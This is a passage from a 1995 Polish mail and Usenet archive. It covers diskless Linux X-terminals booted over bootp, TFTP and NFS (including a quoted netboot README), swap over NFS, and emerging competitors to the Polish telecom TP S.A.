na sekund kilka albo od kogos grzebiacego w zasuszonej herladyce swojego
rodu, ... 

Pozdrawiam, Wojtek

Ps: Poprzedni maili wyskoczyl mi z pod palca i nawet nie wiem czy dojdzie,
sorry :-) jesli ...

---------- Forwarded message ----------
Date: Tue, 20 Dec 1994 23:13:17 -36000
From: Gene Jeffries <gene@camgrad.fay.ar.us>
To: bogusz@fuw.edu.pl
Subject: Internet persons in Elblag


Wojtek,

	I found your name and address while cyber-surfing on the 
Internet.  I trust you will not mind my writing you with regard to a 
matter not related to your university work.

	I will be visiting Poland later this month in the City of 
Elblag, and I am writing to ask if you know of any Internet persons in that
city where I could email back to the United States.  I found some in 
Gdansk, but that is still some distance from Elblag.

	Thank you for assisting me in this matter.

		Gene L. Jeffries

From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 10 18:26:49 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA16263; Tue, 10 Jan 95 18:24:34 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA13127 for polip@zsku.p.lodz.pl; Tue, 10 Jan 1995 18:19:15 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 10 Jan 1995 17:14:50 GMT
From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz)
Message-Id: <3eufaa$cm6@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3eerje$lhc@ghost.mimuw.edu.pl>, <ARTUR.95Jan4232701@thp2.if.uj.edu.pl>, <3eh8r3$6hs@galaxy.uci.agh.edu.pl>
Subject: Re: Announce: X PC Server

Grzegorz Wrobel (wrobel@tsunami.kaniup.agh.edu.pl) wrote:
:   Dziala toto przy uzyciu bootp, a potem przez TFTP sciaga sobie
:   z servera kernel linuxa i dalej dziala na filesystemie servera przez NFS. 
:   Moge sprobowac znalezc adres, gdzie tego szukac (pamietam, ze gdzies
:   go zapisywalem, tylko gdzie ...).
:   Aha, na pewno byly do tego zrodla.

Gdyby udalo sie znalezc adres gdzie to jest, bardzo prosze go tutaj podac.
Mogloby to byc lepszym rozwiazaniem od tego, o czym pisalem.

Pozdrawiam.
--
Marek Michalkiewicz
marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 08:05:10 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA02417; Wed, 11 Jan 95 08:04:38 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id HAA24272 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 07:47:35 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 10 Jan 1995 17:42:56 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3eugv0$4dl@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3etjsq$evp@ghost.mimuw.edu.pl>, <3eu9oe$1g6@galaxy.uci.agh.edu.pl>
Subject: Re: Siec Optimusa?

Marcin Raczkiewicz (raczkiew@saturn.kt.agh.edu.pl) wrote:
: Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote:

: : wieksze mozliwosci niz normalna siec telefoniczna. Czyzby wiec pojawila sie
: : wreszcie jakas szansa realnej konkurencji dla TP S.A.? Czy ktos na liscie
: : wie cos wiecej na ten temat?

: Konkurencja dla TPSA zaczyna sie robic. Akurat nic nie wiem na temat sieci
: optimusa, ale wystarczy przejrzec gazety zeby zobaczyc, ze idzie finansowanie
: dla firm prywatnych telekomunikacyjnych w Polsce. Ze te firmy sie dopiero
: tworza to w pelni zrozumiale: trzeba na to troche czasu. Sadze ze w tym roku
: (pod koniec) patrzac realnie mamy szanse, ze powstanie kilka firm mogacych
: konkurowac LOKALNIE z TPSA.

Hm - a gdzie w gazetach widac tego przejawy. Jak dotad jest to pierwsza taka
inicjatywa na ta skale. Pytanie jeno o stosunek Panstwa do tych
przedsiewziec, bo dotychczas jest z tym kiepsko.

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From tsk@trident.mof.mofnet.gov.pl Wed Jan 11 09:42:41 1995
Received: from trident.mof.mofnet.gov.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03838; Wed, 11 Jan 95 09:39:05 +0100
Return-Path: <tsk@trident.mof.mofnet.gov.pl>
Received: from TSK by trident  with smtp
	(Linux Smail3.1.28.1 #14) id m0rRydE-0003I0C; Wed, 11 Jan 95 09:42 GMT+0100
Message-Id: <m0rRydE-0003I0C@trident>
Date: Wed, 11 Jan 95 09:42 GMT+0100
X-Sender: tsk@trident.mof.mofnet.gov.pl
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: polip@zsku.p.lodz.pl
From: tsk@trident.mof.mofnet.gov.pl (Tomasz Skurzewski)
Subject: Re: Siec Optimusa?
X-Mailer: <PC Eudora Version 1.4>

>Marcin Raczkiewicz (raczkiew@saturn.kt.agh.edu.pl) wrote:
>: Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote:
>
>: : wieksze mozliwosci niz normalna siec telefoniczna. Czyzby wiec pojawila sie
>: : wreszcie jakas szansa realnej konkurencji dla TP S.A.? Czy ktos na liscie
>: : wie cos wiecej na ten temat?
>: Konkurencja dla TPSA zaczyna sie robic. Akurat nic nie wiem na temat sieci
>: optimusa, ale wystarczy przejrzec gazety zeby zobaczyc, ze idzie finansowanie
>: dla firm prywatnych telekomunikacyjnych w Polsce. Ze te firmy sie dopiero
>: tworza to w pelni zrozumiale: trzeba na to troche czasu. Sadze ze w tym roku
>: (pod koniec) patrzac realnie mamy szanse, ze powstanie kilka firm mogacych
>: konkurowac LOKALNIE z TPSA.
>
>Hm - a gdzie w gazetach widac tego przejawy. Jak dotad jest to pierwsza taka
>inicjatywa na ta skale. Pytanie jeno o stosunek Panstwa do tych
>przedsiewziec, bo dotychczas jest z tym kiepsko.
>
>>>A 165 mln USD projekt inwestycyjny firmy Sprint Polska Telekom ?
>>>Przewidziane jest 125 tys. numerow tel. + ewentualna dzierzawa linii dla
>>>operatorow TV kablowej, w Pile i na Slasku. Ta inwestycja chyba jeszcze 
nie ruszyla
>>>ale wyglada na blizsza realizacji niz Optimus poprzez Telmedia.

From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 10:05:10 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04684; Wed, 11 Jan 95 10:04:23 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA26968 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 09:47:29 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 11 Jan 1995 08:34:29 GMT
From: rzm@dain.erlm.siemens.de (Rafal Maszkowski)
Message-Id: <3f056l$k55@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3ebicn$296@cyber.ict.pwr.wroc.pl>, <3eerje$lhc@ghost.mimuw.edu.pl>, <ARTUR.95Jan4232701@thp2.if.uj.edu.pl>
Subject: Re: Announce: X PC Server

Artur Pioro (artur@thp2.if.uj.edu.pl) wrote:
> >>>>> "Andrzej"==Andrzej K Brandt <andy@eleet.mimuw.edu.pl> writes:
> Andrzej> U nas PC z Linuxem sa uzywane sprawnie jako terminale
> Andrzej> Studenckim Laboratorium. Konfiugracja to 486 z mono SVGA i 4
> Jak do tej pory nie mialem doswiadczenia z Linuxem (ani takiej
> potrzeby), ale skoro wiazaloby sie to z mozliwoscia darmowego
> stworzenia X-Terminali na bazie posiadanych PC, to zastanawiam sie czy
> nie warto by sie tym zainteresowac. Mam tylko pytanie czy jest mozliwa
> konfiguracja 'diskless' Linuxa? To znaczy czy potrafi on przy starcie
> systemu (komputera), po zaladowaniu jakiegos na prawde malego
> bootstrapu z dyskietki lub malenkiej linuxowej partycji na HD dzialac
> dalej w oparciu o zdalny (root) filesystem dostepny poprzez NFS?

Jedyny problem to niemoznosc uzywania swapa przez NFS, wiec minimalna
instalacja tego rodzaju musi miec troche wiecej pamieci niz instalacja
ze swapem.

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 14:47:43 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09638; Wed, 11 Jan 95 14:43:40 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA00902 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 13:59:02 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 11 Jan 1995 12:50:33 GMT
From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz)
Message-Id: <3f0k6p$49k@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3eerje$lhc@ghost.mimuw.edu.pl>, <ARTUR.95Jan4232701@thp2.if.uj.edu.pl>, <3f056l$k55@Waldemar.mat.uni.torun.pl>
Subject: Re: Announce: X PC Server

Rafal Maszkowski (rzm@dain.erlm.siemens.de) wrote:
(chodzi o bezdyskowego Linuxa)
: Jedyny problem to niemoznosc uzywania swapa przez NFS, wiec minimalna
: instalacja tego rodzaju musi miec troche wiecej pamieci niz instalacja
: ze swapem.
Wlasciwie zastanawiam sie, skad to ograniczenie.  Widzialem, ze odwolania
do swapa troche omijaja system plikow - pewnie po to, by bylo szybciej.
Moze jednak warto by podrzucic ten pomysl (swap przez NFS) komu trzeba
do uwzglednienia w przyszlych wersjach Linuxa...
(Wiem, ze NFS jest wolny, ale brak swapa moze spowolnic jeszcze bardziej.)

Pozdrawiam.
--
Marek Michalkiewicz
marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 14:47:47 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09641; Wed, 11 Jan 95 14:43:43 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA00761 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 13:48:50 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 11 Jan 1995 12:42:28 GMT
From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz)
Message-Id: <3f0jnk$49k@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3eh8r3$6hs@galaxy.uci.agh.edu.pl>, <3eufaa$cm6@sun1000.ci.pwr.wroc.pl>, <3f0c25$aj9@galaxy.uci.agh.edu.pl>
Subject: Re: Announce: X PC Server

Grzegorz Wrobel (wrobel@tsunami.kaniup.agh.edu.pl) wrote:
: Wysylam krotki opis. Oprocz tego mam jeszcze napisana przez kogos innego
: dokladniejsza (lopatologiczna :-) instrukcje instalacji - nie wysylam, bo jest
: dosc dluga - chetnym moge wyslac mailem (tej instrukcji nie ma w instalacji!).
: Oprogramowanie jest dostepne na
:            ftp.sch.bme.hu:/pub/unix/linux/xterminal/obsolete
: (jest rowniez jakas wersja z loadlinem w .../xterminal/install ).
: Oprocz tego potrzebne jest chyba zrodlo bootp.
: Aha, ja tego nie instalowalem wiec nie wiem jak dziala ...

:  Grzegorz Wrobel

: -----------------------------------------------------------------------------

: ~r ~wrobel/ftp/linux_X_bootp/howto

Troche krotki ten opis... :-)

W pl.comp.sys.pc-unix nie ma duzego ruchu, wiec ta lopatologiczna
instrukcja nie bylaby tutaj chyba niczym nagannym (chyba, ze jest
rzeczywiscie BARDZO dluga, albo jest juz gdzies dostepna przez ftp).
(Moge to sciagnac do nas i udostepnic z ftp.ists.pwr.wroc.pl, ale
przed chwila probowalem i ftp.sch.bme.hu nie zglasza sie - moze sie
uda pozniej.)

Pozdrawiam.
--
Marek Michalkiewicz
marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 14:47:49 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09644; Wed, 11 Jan 95 14:43:48 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA00222 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 13:18:56 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 11 Jan 1995 10:31:33 GMT
From: wrobel@tsunami.kaniup.agh.edu.pl (Grzegorz Wrobel)
Message-Id: <3f0c25$aj9@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <ARTUR.95Jan4232701@thp2.if.uj.edu.pl>, <3eh8r3$6hs@galaxy.uci.agh.edu.pl>, <3eufaa$cm6@sun1000.ci.pwr.wroc.pl>
Subject: Re: Announce: X PC Server

Marek Michalkiewicz (ind43@sun1000.ci.pwr.wroc.pl) wrote:
: Grzegorz Wrobel (wrobel@tsunami.kaniup.agh.edu.pl) wrote:
: :   Dziala toto przy uzyciu bootp, a potem przez TFTP sciaga sobie
: :   z servera kernel linuxa i dalej dziala na filesystemie servera przez NFS. 
: :   Moge sprobowac znalezc adres, gdzie tego szukac (pamietam, ze gdzies
: :   go zapisywalem, tylko gdzie ...).
: :   Aha, na pewno byly do tego zrodla.

: Gdyby udalo sie znalezc adres gdzie to jest, bardzo prosze go tutaj podac.
: Mogloby to byc lepszym rozwiazaniem od tego, o czym pisalem.

: Pozdrawiam.
: --
: Marek Michalkiewicz
: marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl

Wysylam krotki opis. Oprocz tego mam jeszcze napisana przez kogos innego
dokladniejsza (lopatologiczna :-) instrukcje instalacji - nie wysylam, bo jest
dosc dluga - chetnym moge wyslac mailem (tej instrukcji nie ma w instalacji!).
Oprogramowanie jest dostepne na
           ftp.sch.bme.hu:/pub/unix/linux/xterminal/obsolete
(jest rowniez jakas wersja z loadlinem w .../xterminal/install ).
Oprocz tego potrzebne jest chyba zrodlo bootp.
Aha, ja tego nie instalowalem wiec nie wiem jak dziala ...

 Grzegorz Wrobel

-----------------------------------------------------------------------------

~r ~wrobel/ftp/linux_X_bootp/howto

From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 14:47:51 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09647; Wed, 11 Jan 95 14:43:52 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA29892 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 12:57:38 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 11 Jan 1995 11:22:40 GMT
From: lis@asic.ict.pwr.wroc.pl (Jarek Lis)
Message-Id: <3f0f20$suk@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3etjsq$evp@ghost.mimuw.edu.pl>, <3eu9oe$1g6@galaxy.uci.agh.edu.pl>, <3eugv0$4dl@ghost.mimuw.edu.pl>
Subject: Re: Siec Optimusa?

Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote:
: Marcin Raczkiewicz (raczkiew@saturn.kt.agh.edu.pl) wrote:
: : Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote:

: : : wieksze mozliwosci niz normalna siec telefoniczna. Czyzby wiec pojawila sie
: : : wreszcie jakas szansa realnej konkurencji dla TP S.A.? Czy ktos na liscie
: : : wie cos wiecej na ten temat?

: : Konkurencja dla TPSA zaczyna sie robic. Akurat nic nie wiem na temat sieci
: : optimusa, ale wystarczy przejrzec gazety zeby zobaczyc, ze idzie finansowanie
: : dla firm prywatnych telekomunikacyjnych w Polsce. Ze te firmy sie dopiero
: : tworza to w pelni zrozumiale: trzeba na to troche czasu. Sadze ze w tym roku
: : (pod koniec) patrzac realnie mamy szanse, ze powstanie kilka firm mogacych
: : konkurowac LOKALNIE z TPSA.

: Hm - a gdzie w gazetach widac tego przejawy. Jak dotad jest to pierwsza taka
: inicjatywa na ta skale. Pytanie jeno o stosunek Panstwa do tych
: przedsiewziec, bo dotychczas jest z tym kiepsko.

Nie jest tak zle. Troche firm, ktore kable juz maja czeka w pogotowiu.
Na przyklad PKP - siec jest chyba z 10 razy wieksza niz POLPAK. Nawet
ma juz nazwe - KOLPAK, i chyba odpowiednie zezwolenia. Brakuje tylko
sprywatyzowania, zeby zechcieli uslugi sprzedawac.

A co do Optimusa, to mam wrazenie, ze firma ma za malo pieniedzy na
inwestycje telekomunikacyjne. W tym kraju chyba nikt nie ma odpowiednich
pieniedzy.

Jarek.



: --

:                                73 de Andy SP5WCA

: /-------------------+--------+-------------------+-------------------------\
: I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
: \-------------------+--------+-------------------+-------------------------/
From zych@student.uci.agh.edu.pl Wed Jan 11 15:02:44 1995
Received: from galaxy.uci.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA10554; Wed, 11 Jan 95 14:59:31 +0100
Return-Path: <zych@student.uci.agh.edu.pl>
Received: from student.uci.agh.edu.pl by uci.agh.edu.pl (4.1/SMI-4.1)
	id AA00516; Wed, 11 Jan 95 14:59:28 +0100
Organization: University of Mining and Metallurgy
Address: Mickiewicza 30, 30-059 Krakow, POLAND
Received: by student.uci.agh.edu.pl (4.1/SMI-4.1)
	id AA16430; Wed, 11 Jan 95 14:58:59 +0100
From: zych@student.uci.agh.edu.pl (Zbigniew Zych)
Message-Id: <9501111358.AA16430@student.uci.agh.edu.pl>
Subject: Swap on Linux (Announce: X PC Server)
To: polip@zsku.p.lodz.pl
Date: Wed, 11 Jan 1995 14:58:58 +0100 (MET)
In-Reply-To: <3f0k6p$49k@sun1000.ci.pwr.wroc.pl> from "Marek Michalkiewicz" at Jan 11, 95 02:52:09 pm
X-Mailer: ELM [version 2.4 PL21]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 1014      

Marek Michalkiewicz wrote:

> Rafal Maszkowski (rzm@dain.erlm.siemens.de) wrote:
> (chodzi o bezdyskowego Linuxa)
> : Jedyny problem to niemoznosc uzywania swapa przez NFS, wiec minimalna
> : instalacja tego rodzaju musi miec troche wiecej pamieci niz instalacja
> : ze swapem.
> Wlasciwie zastanawiam sie, skad to ograniczenie.  Widzialem, ze odwolania
> do swapa troche omijaja system plikow - pewnie po to, by bylo szybciej.
> Moze jednak warto by podrzucic ten pomysl (swap przez NFS) komu trzeba
> do uwzglednienia w przyszlych wersjach Linuxa...
> (Wiem, ze NFS jest wolny, ale brak swapa moze spowolnic jeszcze bardziej.)

Tak sie zastanawiam, w koncu Linux ma 2 mozliwosci swapowania:
  - swap partition
  - swap file.

Czy nie mozna swap file zalozyc na NFSie?

							Zbigniew Zych

-- Zbigniew Zych     ircnick: Zyzio            home phone: 48+12-48.74.29
-- email&finger: zych@ernie.icslab.agh.edu.pl zych@student.uci.agh.edu.pl
-- <A HREF="http://www.uci.agh.edu.pl/student/inf4grp/zych">HomePage</a>
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 15:05:34 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA10855; Wed, 11 Jan 95 15:04:20 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA02005 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 15:01:32 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 11 Jan 1995 12:56:29 GMT
From: raczkiew@saturn.kt.agh.edu.pl (Marcin Raczkiewicz)
Message-Id: <3f0kht$4d9@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3eu9oe$1g6@galaxy.uci.agh.edu.pl>, <3eugv0$4dl@ghost.mimuw.edu.pl>, <3f0f20$suk@sun1000.ci.pwr.wroc.pl>
Subject: Re: Siec Optimusa?

: Nie jest tak zle. Troche firm, ktore kable juz maja czeka w pogotowiu.
: Na przyklad PKP - siec jest chyba z 10 razy wieksza niz POLPAK. Nawet
: ma juz nazwe - KOLPAK, i chyba odpowiednie zezwolenia. Brakuje tylko
: sprywatyzowania, zeby zechcieli uslugi sprzedawac.

To nie tak. KOLPAK bedzie swiadczyl inne uslugi niz te o ktore pytasz.
Oni sa za slabi, a to ze maja taka siec (zreszta od grudnia 1994) to
wymog banku swiatowego na modernizacje kolei. Jezeli KOLPAK bedzie swiadczyl
uslugi to raczej transmisje danych, a na tym polu jest w Polsce realna
konkurencja (co najmniej 10 firm konkurujacych).

: A co do Optimusa, to mam wrazenie, ze firma ma za malo pieniedzy na
: inwestycje telekomunikacyjne. W tym kraju chyba nikt nie ma odpowiednich
: pieniedzy.

Mne sie tez tak wydaje.

Marcin
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 15:05:42 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA10860; Wed, 11 Jan 95 15:04:24 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA02004 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 15:01:29 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 11 Jan 1995 12:48:27 GMT
From: wrobel@tsunami.kaniup.agh.edu.pl (Grzegorz Wrobel)
Message-Id: <3f0k2r$gc3@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3eh8r3$6hs@galaxy.uci.agh.edu.pl>, <3eufaa$cm6@sun1000.ci.pwr.wroc.pl>, <3f0c25$aj9@galaxy.uci.agh.edu.pl>
Subject: Re: Announce: X PC Server

Grzegorz Wrobel (wrobel@tsunami.kaniup.agh.edu.pl) wrote:
: Wysylam krotki opis.

  Przepraszam za followup do siebie ale napisalem, ze wysylam opis, no i nie
  calkiem mi sie to udalo. Tym razem ma nadzieje bedzie lepiej.

  Grzegorz Wrobel


--------include-------------------------------------------------------------

[ README.netboot - Basic documentation for the Diskless Linux Xterminal ]

This package allows you to boot PC-s from the network and run Linux
X-servers on them. The PC's must have 386 processor, 4M ram and a
floppy drive or harddisk, WD or SMC ethernet card, and a mouse.

This work is based on:
o Jamie Honan's netboot.zoo and rampatch12
o Rick Sladkey's nfsmount code
o Linux V0.99pl12 kernel source by various authors

I n s t a l l a t i o n   s t e p s:
------------------------------------
1. Choose a host that will be your bootp and tftp server. This host
must be able to handle bootp and tftp requests coming from the clients.
Read the man pages of tftp, tftpd, bootp, bootpd, bootptab for detailed
information about these services and how to enable them.
- Use the sample bootptab file to create your own bootp configuration file.
  If done, try out if it works, using a bootp client. 
- Copy the zNetBoot image into a proper directory and make it world readable.
  Try out, if you can download it using a simple tftp client.

2. Choose a host that will be the NFS server. This can be the same machine
as the bootp/tftp server. Create a directory, and untar the nfsdir archive
into it. Insert the <IP address>:<nfs dir to mount> string into the bootptab
file, as in the sample bootptab file. Note that this string must be shorter
than 30 characters! Edit your /etc/exports file, and export this directory
for every client host. read-only export is fine. Now, try to mount this
directory from a client.
On the NFS server, edit the <nfsdir>/etc/.startup file. Change the hostaddress
after -query to the XDMCP server you want to login to from the clients. You
can use -indirect or -broadcast for special queries as well. Every client
will start the program in the first line of .startup. The option
-xconfig /usr/lib/X11/Xconfig.xxx.xxx.xxx.xxx will be appended to this line
automaticaly by the startup program. If you want to ignore this appended
extra option, use the -I option of X. See X -?...
You have to edit two more files on the NFS server in <nfsdir>:
 hosts, resolv.conf  See this files for more info.

3. Choose a DOS machine where you can compile the proper boot images for
every client. Install a complete Turbo C 2.0 with tasm on this PC. Yes,
this is the old little TC2.0, not the ugly TC++ 2.0! Un-arj the netboot.arj
archive somewhere on this DOS-box. To compile a fimage.bin or a booter.com
file for a client, edit config.h to set the proper int, i/o, mem base values.
Then do a make clean, make net8003. At last, type make fimage.bin or
make booter.com to generate the file. If using floppy boot, rawrite the
generated fimage.bin onto a blank formatted floppy disk, using the rawrite.exe
program. If booting from hard-disk, generate a booter.com and copy it into
c:\dos, then edit your config.sys, and insert the following line:
shell=c:\dos\booter.com. It is recommended to use a config-sys menu program,
like bootcon.sys, or the built in boot-menu feature of DOS 6.0 or higher.

4. Choose a client machine. Get the ethernet address of it's WD card, and
his IP address. Insert a new line into the bootptab file on the bootp server
for this client, as can be seen in the sample bootptab file.
Now, get the setup of the WD card: interrupt, memory base, i/o port.
Make a bootable floppy disk or a booter.com file, as written above.
Create a new Xconfig.xxx.xxx.xxx.xxx file in the <nfsdir>/usr/lib/X11
directory on the nfs server. This file will be used as the X-server
configuration file for this client. Edit the mouse and video settings
if needed. Note that the name of the file contains the IP address of the
client, in a special 0 padded form. So the length of the filename is always 23.
Some info about writing X386 style Xconfig files can be found in ./Xconfig.

NOW:
If ready and you have TONS OF LUCK, after booting the client using a floppy
or booter.com, you will see the following procedure, which takes cca. 30 secs:
1. netboot image starts and founds your ethernet address,
2. the bootp server will respond
3. the zNetBoot image will be downloaded using tftp
4. the Linux kernel starts, it checks all the hardware
5. the ramdisk will be mounted as root
6. netconf will start as the init process, it will print the network
   configuration string.
7. Using the information in this string, netconf will configure the linux
   network support doing all the ifconfig, route add, nfs mount things. 
8. After NFS mounted succesfully, /etc/startup will start. It reads
   the /etc/.startup file and starts the X server program.
9. The X is coming up, reading the Xconfig file, video card type will be
   detected, dot clock will be found and the screen will switch to graphics
   mode.
10.The login screen of the XDMCP server will come up. You can log in.

F i l e s :
-----------
bootptab
	This is a sample bootptab file. You have to configure the
	bootp server with this bootptab file. The description of
	each field in bootptab follows:
	bf:	boot file name, this file will be downloaded using tftp
		by all the clients. The file must be available on the
		bootp/tftp server (these two must be the same host!) with
		world readable permissions.
	sm:	The netmask value in your local network.
		Run /etc/ifconfig to get these address.
	lg:	log server, here used as the broadcast address of the network.
		Run /etc/ifconfig to get these address.
	lp:	lp server, here used as the network address for the routing
		table. Run /etc/route if you dont know this address.
	gw:	The default gateway for routing table, run /etc/route to get
		this address.
	T99:	The hostname:dirname string. This directory will be mounted
		using NFS on each client. This string must be shorter than 32
		characters, so use short dirname.
	The other fields must be set up as can be seen in the sample bootptab
	file, these fields are: bs=auto, vm=rfc1048. 

zNetBoot
	This image will be downloaded using tftp by every client at netboot
	startup. This image must be located in a world readable directory,
	with the world read permission bit set. 

images.arj
	This file contains the fimage.bin and booter.com files for all the
	combinations of the following WD card setups:
	mem base c800 or d000, int 5 or 3, i/o port 280 or 300.
	In each of the 8 possible subdirectories, there is a fimage.bin
	and a booter.com file. rawrite.exe is included.

netboot.arj
	Unarj this to a DOS machine if you are using strange WD setups.
	Install a Turbo C 2.0 with Tasm, edit config.h and recompile it
	to generate your own booting images.

nfsdir.tgz
	This file should be untarred onto the NFS server and
	exported read-only for every client host.
	The IP address of the NFS server and the directory where this
	package goes, should be placed into the bootptab file as T99.
	This string must be shorter than 32 characters.	


T r o u b l e s h o o t i n g
-----------------------------
There are soooo many points, where this operation can stop, and soooo many
possibilities of misconfiguration, that you need experience to get this
stuff working. I do want to hear your questions, if you have some. I do
